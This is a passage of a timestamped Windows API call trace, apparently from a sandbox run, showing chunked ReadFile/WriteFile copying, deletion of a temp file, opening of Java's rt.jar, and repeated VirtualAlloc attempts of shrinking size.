	[0269.743] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.743] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.744] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.744] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.744] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.745] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.745] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.745] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.746] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.746] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.746] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.746] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.747] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.747] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.748] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.748] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.750] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.750] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.750] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.751] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.751] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.751] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.752] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.752] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.753] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.753] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.753] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.754] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.754] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.754] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.755] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.765] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.768] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.768] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.769] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.769] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.770] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.770] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.770] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.770] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.771] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.771] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.771] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.771] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.772] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.772] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.772] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.772] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.774] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.774] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.774] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x4bdd, lpOverlapped=0x0) returned 1
	[0269.774] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x4bdd, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x4bdd, lpOverlapped=0x0) returned 1
	[0269.775] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0269.775] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9e99c079f2065f27b799ef18ed856c4f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9e99c079f2065f27b799ef18ed856c4f")) returned 0
	[0269.775] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9e99c079f2065f27b799ef18ed856c4f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9e99c079f2065f27b799ef18ed856c4f")) returned 0
	[0269.775] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9e99c079f2065f27b799ef18ed856c4f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9e99c079f2065f27b799ef18ed856c4f")) returned 0x20
	[0269.775] CloseHandle (hObject=0x1b0) returned 1
	[0269.775] CloseHandle (hObject=0x1b4) returned 1
	[0269.874] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\9e99c079f2065f27b799ef18ed856c4f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\9e99c079f2065f27b799ef18ed856c4f")) returned 1
	[0269.878] SetEvent (hEvent=0x17c) returned 1
	[0269.878] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.878] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0269.879] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0269.879] GetFileType (hFile=0x1b4) returned 0x1
	[0269.879] GetFileType (hFile=0x1b4) returned 0x1
	[0269.879] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0269.879] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0269.879] VirtualAlloc (lpAddress=0xc004400000, dwSize=0x3800000, flAllocationType=0x2000, flProtect=0x4) returned 0xc004400000
	[0269.881] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec030000
	[0269.881] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec060000
	[0269.881] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec090000
	[0269.881] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec0c0000
	[0269.881] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec0f0000
	[0269.882] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec120000
	[0269.882] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec150000
	[0269.882] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec180000
	[0269.882] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec1b0000
	[0269.882] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec1e0000
	[0269.882] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec210000
	[0269.882] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec240000
	[0269.883] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec270000
	[0269.883] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ec2a0000
	[0269.885] VirtualAlloc (lpAddress=0xc003b18000, dwSize=0x340a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.885] VirtualAlloc (lpAddress=0xc003b18000, dwSize=0x340a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.885] VirtualAlloc (lpAddress=0xc003b18000, dwSize=0x1a05000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.885] VirtualAlloc (lpAddress=0xc003b18000, dwSize=0xd02000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.885] VirtualAlloc (lpAddress=0xc003b18000, dwSize=0x681000, flAllocationType=0x1000, flProtect=0x4) returned 0xc003b18000
	[0269.899] VirtualAlloc (lpAddress=0xc004199000, dwSize=0x2d89000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.899] VirtualAlloc (lpAddress=0xc004199000, dwSize=0x16c4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.899] VirtualAlloc (lpAddress=0xc004199000, dwSize=0xb62000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.899] VirtualAlloc (lpAddress=0xc004199000, dwSize=0x5b1000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.899] VirtualAlloc (lpAddress=0xc004199000, dwSize=0x2d8000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.899] VirtualAlloc (lpAddress=0xc004199000, dwSize=0x16c000, flAllocationType=0x1000, flProtect=0x4) returned 0xc004199000
	[0269.903] VirtualAlloc (lpAddress=0xc004305000, dwSize=0x2c1d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.903] VirtualAlloc (lpAddress=0xc004305000, dwSize=0x160e000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.903] VirtualAlloc (lpAddress=0xc004305000, dwSize=0xb07000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.903] VirtualAlloc (lpAddress=0xc004305000, dwSize=0x583000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.903] VirtualAlloc (lpAddress=0xc004305000, dwSize=0x2c1000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.903] VirtualAlloc (lpAddress=0xc004305000, dwSize=0x160000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.903] VirtualAlloc (lpAddress=0xc004305000, dwSize=0xb0000, flAllocationType=0x1000, flProtect=0x4) returned 0xc004305000
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0x2b6d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0x15b6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0xadb000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0x56d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0x2b6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0x15b000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0xad000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0x56000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043b5000, dwSize=0x2b000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0043b5000
	[0269.905] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x2b42000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x15a1000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.905] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0xad0000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x568000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x2b4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x15a000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0xad000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x56000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x2b000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043e0000, dwSize=0x15000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0043e0000
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x2b2d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x1596000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0xacb000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x565000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x2b2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x159000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0xac000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x56000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.906] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x2b000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0x15000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043f5000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0043f5000
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x2b23000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x1591000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0xac8000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x564000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x2b2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x159000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0xac000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x56000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x2b000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0269.907] VirtualAlloc (lpAddress=0xc0043ff000, dwSize=0x15000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
